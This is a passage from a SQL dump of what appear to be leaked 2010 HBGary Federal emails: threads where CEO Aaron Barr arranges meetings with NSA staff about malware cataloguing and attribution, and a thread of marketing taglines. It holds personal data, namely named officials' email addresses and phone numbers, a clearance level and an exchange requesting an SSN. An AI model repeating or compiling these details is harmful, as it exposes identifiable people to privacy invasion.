\"Cyber\r\n>>>\r\n>>>>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>>>>> investigatory technologies\".\r\n>>>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>>>> cyber_genome_project/\r\n>>>>>>>\r\n>>>>>>> VR,\r\n>>>>>>> Ralph Ghent\r\n>>>>>>> rdghent@nsa.gov\r\n>>>>>>> Ph: 443-654-0129\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Ghent, Ralph\r\n>>>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>>>> To: Gipson, Vergle\r\n>>>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>>>>\r\n>>>>>>> Vergle:\r\n>>>>>>> I mentioned this fellow to you awhile back and emailed you all \r\n>>>>>>> in\r\n>>>>>>> V2\r\n>>>>\r\n>>>>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>>>>> (which\r\n>>>>>>\r\n>>>>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>>>>> Malicious\r\n>>>>>>\r\n>>>>>>> Code Catalog efforts).\r\n>>>>>>>\r\n>>>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said \r\n>>>>>>> he\r\n>\r\n>>>>>>> was\r\n>>>>>\r\n>>>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> Ralph Ghent\r\n>>>>>>> rdghent@nsa.gov\r\n>>>>>>> Ph: 443-654-0129\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>>>> To: Ghent, Ralph\r\n>>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>>\r\n>>>>>>> Hi Ralph,\r\n>>>>>>>\r\n>>>>>>> Happy New Year.\r\n>>>>>>>\r\n>>>>>>> I am still very interested to talk to folks there about the \r\n>>>>>>> Malicious\r\n>>>>>\r\n>>>>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>>>>> interest on that side.  As I mentioned we have recently \r\n>>>>>>> partnered\r\n>\r\n>>>>>>> with\r\n>>>>>>\r\n>>>>>>> Palantir and are working on a partnership with Netwitness and \r\n>>>>>>> maybe\r\n>>>>>>> 1\r\n>>>>>\r\n>>>>>>> or 2 other small vendors with complimentary technology.  I think\r\n\r\n>>>>>>> something really substantial can be put together.\r\n>>>>>>>\r\n>>>>>>> Aaron\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>>>>\r\n>>>>>>>> Aaron,\r\n>>>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>>>> Respectfully,\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> Ralph Ghent\r\n>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Ghent, Ralph\r\n>>>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>>>> To: \'Aaron Barr\'\r\n>>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Aaron,\r\n>>>>>>>> Many thanks for the additional info and the opportunity to chat\r\n\r\n>>>>>>>> briefly at Leesburg.\r\n>>>>>>>>\r\n>>>>>>>> I have pushed your info to those within my Agency who are \r\n>>>>>>>> working\r\n>>\r\n>>>>>>>> with\r\n>>>>>>>\r\n>>>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this \r\n>>>>>>>> time\r\n>\r\n>>>>>>>> next\r\n>>>>>>\r\n>>>>>>>> week, no one has reached-out to you, pls email me again and I \r\n>>>>>>>> will\r\n>>>\r\n>>>>>>>> follow up with them.\r\n>>>>>>>>\r\n>>>>>>>> Sincerely,\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> Ralph Ghent\r\n>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>>>> To: Ghent, Ralph\r\n>>>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Ralph,\r\n>>>>>>>>\r\n>>>>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>>>>> Malware\r\n>>>>>>>\r\n>>>>>>>> detection, genomes, and attribution.  I am very new to my \r\n>>>>>>>> current\r\n>>\r\n>>>>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>>>>> Technical\r\n>>>>>\r\n>>>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and \r\n>>>>>>>> the\r\n>>>\r\n>>>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 \r\n>>>>>>>> weeks\r\n>\r\n>>>>>>>> ago\r\n>>>>>\r\n>>>>>>>> if we can make headway against attribution I would have said \r\n>>>>>>>> no,\r\n>\r\n>>>>>>>> not\r\n>>>>>\r\n>>>>>>>> until we have better situational awareness, network \r\n>>>>>>>> characterization,\r\n>>>>>>\r\n>>>>>>>> CND/CNE integration, etc.\r\n>>>>>>>>\r\n>>>>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>>>>> where\r\n>>>>>\r\n>>>>>>>> they have characterized 3500 traits of malware to date, and are\r\n\r\n>>>>>>>> starting to make associations of authorship across malware.  I \r\n>>>>>>>> immediately thought of Palantirs capability to link analysis \r\n>>>>>>>> and\r\n>\r\n>>>>>>>> had\r\n>>>>>>> an aha moment.\r\n>>>>>>>> But I knew that other capabilities needed to be added if we \r\n>>>>>>>> were\r\n>\r\n>>>>>>>> seriously going to take a crack at attribution.\r\n>>>>>>>>\r\n>>>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.\r\n>\r\n>>>>>>>> I\r\n>>>\r\n>>>>>>>> would love to talk with them and combine efforts if appropriate\r\n\r\n>>>>>>>> to\r\n>>>\r\n>>>>>>>> develop the capability that is needed to help with this\r\n>> challenge.\r\n>>>>>>>>\r\n>>>>>>>> Thank You,\r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>> 301.652.8885 x117\r\n>>>>>>>> 719.510.8478\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',595,'aaron_hbgary_com/595.html'),(5150,'2010-04-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003785.M251991P14101Q5.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','53478\r\n\r\n From my iPhone\r\n\r\nOn Apr 11, 2010, at 6:56 PM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> I need your full name, SSN, date of birth and place of birth.\r\n>\r\n> I will call you tomorrow and get it over the phone or give you another\r\n> place to email it.\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, March 31, 2010 10:49 AM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> I have an Issa ts/sci/g/h.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Mar 31, 2010, at 10:38 AM, \"Bodman, Jerry M\" \r\n> wrote:\r\n>\r\n>> Do you have a clearance?\r\n>>\r\n>> If so, what level?\r\n>>\r\n>> Matt\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, March 31, 2010 7:53 AM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Thanks Matt.\r\n>>\r\n>> A visit request please.\r\n>>\r\n>> See you on the 19th.  Tentatively I just blocked out the day, just\r\n>> let\r\n>\r\n>> me know a time that works best that day.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Mar 31, 2010, at 7:47 AM, Bodman, Jerry M wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Thank you for your time this morning.\r\n>>>\r\n>>> Per our discussion, I would like to try to meet with you on the 19th\r\n>>> of April.\r\n>>>\r\n>>> Do you have a badge or do I need to put in a visitor request for\r\n>>> you?\r\n>>>\r\n>>> Matt\r\n>>> 410 854 6761\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Friday, March 26, 2010 1:04 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>>\r\n>>> Hi Matt,\r\n>>>\r\n>>> Still want to get together next week?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n>>>\r\n>>>> Yes please.\r\n>>>>\r\n>>>> How about the last week in March?\r\n>>>>\r\n>>>> Matt\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Tuesday, March 16, 2010 10:56 PM\r\n>>>> To: Bodman, Jerry M\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>\r\n>>>> Hi Matt,\r\n>>>>\r\n>>>> Would you still like us to come up and discuss DDNA and some of our\r\n>>>> other capabilities?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n>>>>\r\n>>>>> Next week is pretty booked at this point.\r\n>>>>>\r\n>>>>> How about the first week of march (other than 1 March)?\r\n>>>>>\r\n>>>>> Afternoons are good at this point.\r\n>>>>>\r\n>>>>> Matt\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>>>>> To: Bodman, Jerry M\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>\r\n>>>>> How about next Thursday?\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n>>>> wrote:\r\n>>>>>\r\n>>>>>> What dates/times are good for you?\r\n>>>>>>\r\n>>>>>> Matt\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>>>>> To: Bodman, Jerry M\r\n>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>\r\n>>>>>> Yes we can come up.  When are some good dates?\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>> From my iPhone\r\n>>>>>>\r\n>>>>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>>>>> wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> I am interested.\r\n>>>>>>>\r\n>>>>>>> What is the best way to meet?\r\n>>>>>>>\r\n>>>>>>> Can you come here?\r\n>>>>>>>\r\n>>>>>>> Is this related to Responder Pro?\r\n>>>>>>>\r\n>>>>>>> Matt\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>>\r\n>>>>>>> Dave/Barry/Matt,\r\n>>>>>>>\r\n>>>>>>> I am very interested to discuss our different efforts/\r\n>>>>>>> capabilities\r\n>>\r\n>>>>>>> related to malware genomes/catalogs.  Please let me know when\r\n>>>>>>> convenient to get together.\r\n>>>>>>>\r\n>>>>>>> Thank you,\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>>\r\n>>>>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>>>>>\r\n>>>>>>>> Ralph,\r\n>>>>>>>>\r\n>>>>>>>> Thanks for reminding me about this one.\r\n>>>>>>>>\r\n>>>>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>>>>>\r\n>>>>>>>> Vergle\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Ghent, Ralph\r\n>>>>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley\r\n>>>>>>>> Parkes;\r\n>>>>>>>\r\n>>>>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Vergle,\r\n>>>>>>>> Reminder of the thread below, and your awareness of the efforts\r\n>>>>>>>> of\r\n>>>>>>> Aaron\r\n>>>>>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>>>>>> Have\r\n>>>>>>>> not seen any response since this was raised in early December.\r\n>>>>>>>>\r\n>>>>>>>> Also, pls see recent news article below:\r\n>>>>>>>>\r\n>>>>>>>> \'Cyber Genome Project\': The military scientists want to\r\n>>>>>>>> establish\r\n>>\r\n>>>>>>>> a\r\n>>>>\r\n>>>>>>>> \"Cyber Genome\" project which will allow any digital artifact\r\n>>>>>>>> - a\r\n>\r\n>>>>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>>>>> According to an announcement put out yesterday by DARPA, the\r\n>>>>>>>> \"Cyber\r\n>>>>\r\n>>>>>>>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>>>>>>>> investigatory technologies\".\r\n>>>>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>>>>> cyber_genome_project/\r\n>>>>>>>>\r\n>>>>>>>> VR,\r\n>>>>>>>> Ralph Ghent\r\n>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Ghent, Ralph\r\n>>>>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>>>>> To: Gipson, Vergle\r\n>>>>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Vergle:\r\n>>>>>>>> I mentioned this fellow to you awhile back and emailed you all\r\n>>>>>>>> in\r\n>>>>>>>> V2\r\n>>>>>\r\n>>>>>>>> as to possible interest in engaging him to learn of his efforts\r\n>>>>>>>> (which\r\n>>>>>>>\r\n>>>>>>>> seem to me to be very closely aligned to the Carnegie-Mellon\r\n>>>>>>>> Malicious\r\n>>>>>>>\r\n>>>>>>>> Code Catalog efforts).\r\n>>>>>>>>\r\n>>>>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said\r\n>>>>>>>> he\r\n>>\r\n>>>>>>>> was\r\n>>>>>>\r\n>>>>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> Ralph Ghent\r\n>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>>>>> To: Ghent, Ralph\r\n>>>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Hi Ralph,\r\n>>>>>>>>\r\n>>>>>>>> Happy New Year.\r\n>>>>>>>>\r\n>>>>>>>> I am still very interested to talk to folks there about the\r\n>>>>>>>> Malicious\r\n>>>>>>\r\n>>>>>>>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>>>>>>>> interest on that side.  As I mentioned we have recently\r\n>>>>>>>> partnered\r\n>>\r\n>>>>>>>> with\r\n>>>>>>>\r\n>>>>>>>> Palantir and are working on a partnership with Netwitness and\r\n>>>>>>>> maybe\r\n>>>>>>>> 1\r\n>>>>>>\r\n>>>>>>>> or 2 other small vendors with complimentary technology.  I\r\n>>>>>>>> think\r\n>\r\n>>>>>>>> something really substantial can be put together.\r\n>>>>>>>>\r\n>>>>>>>> Aaron\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>>>>>\r\n>>>>>>>>> Aaron,\r\n>>>>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>>>>> Respectfully,\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>> Ralph Ghent\r\n>>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>>\r\n>>>>>>>>> -----Original Message-----\r\n>>>>>>>>> From: Ghent, Ralph\r\n>>>>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>>>>> To: \'Aaron Barr\'\r\n>>>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>>>>\r\n>>>>>>>>> Aaron,\r\n>>>>>>>>> Many thanks for the additional info and the opportunity to\r\n>>>>>>>>> chat\r\n>\r\n>>>>>>>>> briefly at Leesburg.\r\n>>>>>>>>>\r\n>>>>>>>>> I have pushed your info to those within my Agency who are\r\n>>>>>>>>> working\r\n>>>\r\n>>>>>>>>> with\r\n>>>>>>>>\r\n>>>>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this\r\n>>>>>>>>> time\r\n>>\r\n>>>>>>>>> next\r\n>>>>>>>\r\n>>>>>>>>> week, no one has reached-out to you, pls email me again and I\r\n>>>>>>>>> will\r\n>>>>\r\n>>>>>>>>> follow up with them.\r\n>>>>>>>>>\r\n>>>>>>>>> Sincerely,\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>> Ralph Ghent\r\n>>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>>\r\n>>>>>>>>> -----Original Message-----\r\n>>>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>>>>> To: Ghent, Ralph\r\n>>>>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>>>>>\r\n>>>>>>>>> Ralph,\r\n>>>>>>>>>\r\n>>>>>>>>> Thank you for stepping in and asking about my discussion about\r\n>>>>>>>>> Malware\r\n>>>>>>>>\r\n>>>>>>>>> detection, genomes, and attribution.  I am very new to my\r\n>>>>>>>>> current\r\n>>>\r\n>>>>>>>>> position as CEO of HBGary Federal, prior to this I was the\r\n>>>>>>>>> Technical\r\n>>>>>>\r\n>>>>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and\r\n>>>>>>>>> the\r\n>>>>\r\n>>>>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3\r\n>>>>>>>>> weeks\r\n>>\r\n>>>>>>>>> ago\r\n>>>>>>\r\n>>>>>>>>> if we can make headway against attribution I would have said\r\n>>>>>>>>> no,\r\n>>\r\n>>>>>>>>> not\r\n>>>>>>\r\n>>>>>>>>> until we have better situational awareness, network\r\n>>>>>>>>> characterization,\r\n>>>>>>>\r\n>>>>>>>>> CND/CNE integration, etc.\r\n>>>>>>>>>\r\n>>>>>>>>> Then I started to learn about HBGarys Malware Genome database,\r\n>>>>>>>>> where\r\n>>>>>>\r\n>>>>>>>>> they have characterized 3500 traits of malware to date, and\r\n>>>>>>>>> are\r\n>\r\n>>>>>>>>> starting to make associations of authorship across malware.  I\r\n>>>>>>>>> immediately thought of Palantirs capability to link analysis\r\n>>>>>>>>> and\r\n>>\r\n>>>>>>>>> had\r\n>>>>>>>> an aha moment.\r\n>>>>>>>>> But I knew that other capabilities needed to be added if we\r\n>>>>>>>>> were\r\n>>\r\n>>>>>>>>> seriously going to take a crack at attribution.\r\n>>>>>>>>>\r\n>>>>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts\r\n>>>>>>>>> here.\r\n>>\r\n>>>>>>>>> I\r\n>>>>\r\n>>>>>>>>> would love to talk with them and combine efforts if\r\n>>>>>>>>> appropriate\r\n>\r\n>>>>>>>>> to\r\n>>>>\r\n>>>>>>>>> develop the capability that is needed to help with this\r\n>>> challenge.\r\n>>>>>>>>>\r\n>>>>>>>>> Thank You,\r\n>>>>>>>>> Aaron Barr\r\n>>>>>>>>> CEO\r\n>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>> 301.652.8885 x117\r\n>>>>>>>>> 719.510.8478\r\n>>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n',11792,'aaron_hbgary_com/11792.html');
INSERT INTO `emails` VALUES (5151,'2010-04-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003785.M660497P14101Q6.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','RE: Some New Taglines from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n&nbsp;\r\n\r\nCombat Global Cyber Threats\r\n\r\n&nbsp;\r\n\r\n&#8220;combat&#8221; is both offense and defense.&nbsp; Implies\r\nan&nbsp; ongoing battle.&nbsp; Works for both gov&#8217;t and private sector.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, April 11, 2010 2:34 PM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Some New Taglines from Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise\r\nproduct\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS\r\nand AV fails\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as\r\n&quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian\r\nbank-info stealing malware, where &quot;Global Threats&quot; implies\r\ngovernments and hostile organizations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV vendors\r\nhave failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Using the word Defense implies Threat.&nbsp;&nbsp;So,\r\nthese two words are interchangable.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&quot;Assurance&quot; implies more of an\r\nongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t come off as wordy, lets us get the big-boy version\r\nof APT in\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t have the &quot;we are a product company&quot;\r\npunch\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp; Using the word Protection requires additional\r\nclarifying words.&nbsp;&nbsp;Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not\r\nneccesarily enteprise product\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with\r\nconsumer grade protection &amp; AV\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could\r\nalso mean incident response services\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent,\r\nand could mean viruses and banking malware\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global\r\nCyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that\r\nwe offer an Enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Defense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12036,'aaron_hbgary_com/12036.html'),(5152,'2010-04-12','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297003785.M877248P14101Q7.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','Thank you.\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, April 11, 2010 7:10 PM\r\nTo: Bodman, Jerry M\r\nSubject: Re: Malware Genome and Attribution\r\n\r\n53478\r\n\r\n From my iPhone\r\n\r\nOn Apr 11, 2010, at 6:56 PM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> I need your full name, SSN, date of birth and place of birth.\r\n>\r\n> I will call you tomorrow and get it over the phone or give you another\r\n\r\n> place to email it.\r\n>\r\n> 